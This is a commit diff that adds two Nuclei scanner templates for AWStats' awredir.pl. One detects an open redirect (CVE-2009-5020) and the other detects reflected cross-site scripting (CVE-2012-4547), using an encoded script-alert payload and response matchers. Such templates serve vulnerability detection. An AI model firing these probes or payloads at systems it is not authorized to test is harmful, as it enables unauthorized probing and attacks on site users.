Merge branch 'projectdiscovery:master' into master
commit
ad764306cd
|
@ -0,0 +1,28 @@
|
||||||
|
id: CVE-2009-5020
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: AWStats < 6.95 - Open redirect
|
||||||
|
author: pdteam
|
||||||
|
severity: medium
|
||||||
|
description: Open redirect vulnerability in awredir.pl in AWStats before 6.95 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via unspecified vectors.
|
||||||
|
reference: https://nvd.nist.gov/vuln/detail/CVE-2009-5020
|
||||||
|
tags: cve,cve2020,redirect,awstats
|
||||||
|
classification:
|
||||||
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
||||||
|
cvss-score: 6.10
|
||||||
|
cve-id: CVE-2009-5020
|
||||||
|
cwe-id: CWE-601
|
||||||
|
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- method: GET
|
||||||
|
path:
|
||||||
|
- '{{BaseURL}}/awstats/awredir.pl?url=example.com'
|
||||||
|
- '{{BaseURL}}/cgi-bin/awstats/awredir.pl?url=example.com'
|
||||||
|
|
||||||
|
stop-at-first-match: true
|
||||||
|
matchers:
|
||||||
|
- type: regex
|
||||||
|
part: header
|
||||||
|
regex:
|
||||||
|
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
|
|
@ -0,0 +1,34 @@
|
||||||
|
id: CVE-2012-4547
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: AWStats 6.95/7.0 - 'awredir.pl' Cross-Site Scripting
|
||||||
|
author: dhiyaneshDk
|
||||||
|
severity: medium
|
||||||
|
description: AWStats is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
|
||||||
|
reference:
|
||||||
|
- https://www.exploit-db.com/exploits/36164
|
||||||
|
- https://nvd.nist.gov/vuln/detail/CVE-2012-4547
|
||||||
|
tags: cve,cve2020,xss,awstats
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- method: GET
|
||||||
|
path:
|
||||||
|
- '{{BaseURL}}/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E'
|
||||||
|
- '{{BaseURL}}/cgi-bin/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E'
|
||||||
|
|
||||||
|
stop-at-first-match: true
|
||||||
|
matchers-condition: and
|
||||||
|
matchers:
|
||||||
|
- type: word
|
||||||
|
part: body
|
||||||
|
words:
|
||||||
|
- "<script>alert(document.domain)</script>"
|
||||||
|
|
||||||
|
- type: word
|
||||||
|
part: header
|
||||||
|
words:
|
||||||
|
- "text/html"
|
||||||
|
|
||||||
|
- type: status
|
||||||
|
status:
|
||||||
|
- 200
|
Loading…
Reference in New Issue